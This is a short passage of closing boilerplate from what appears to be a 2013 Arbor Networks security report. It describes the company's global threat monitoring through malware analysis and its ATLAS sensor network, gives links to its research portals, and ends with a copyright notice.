monitors Internet threats around the clock and around the globe via an advanced malware
analysis system and via ATLAS, Arbor's global network of sensors. http://atlas.arbor.net.
To view the latest research, news, and trends from Arbor and the information security community
at large, visit our Threat Portal at http://www.arbornetworks.com/threats/.
© Copyright 2013 Arbor Networks, Inc. All rights reserved.
29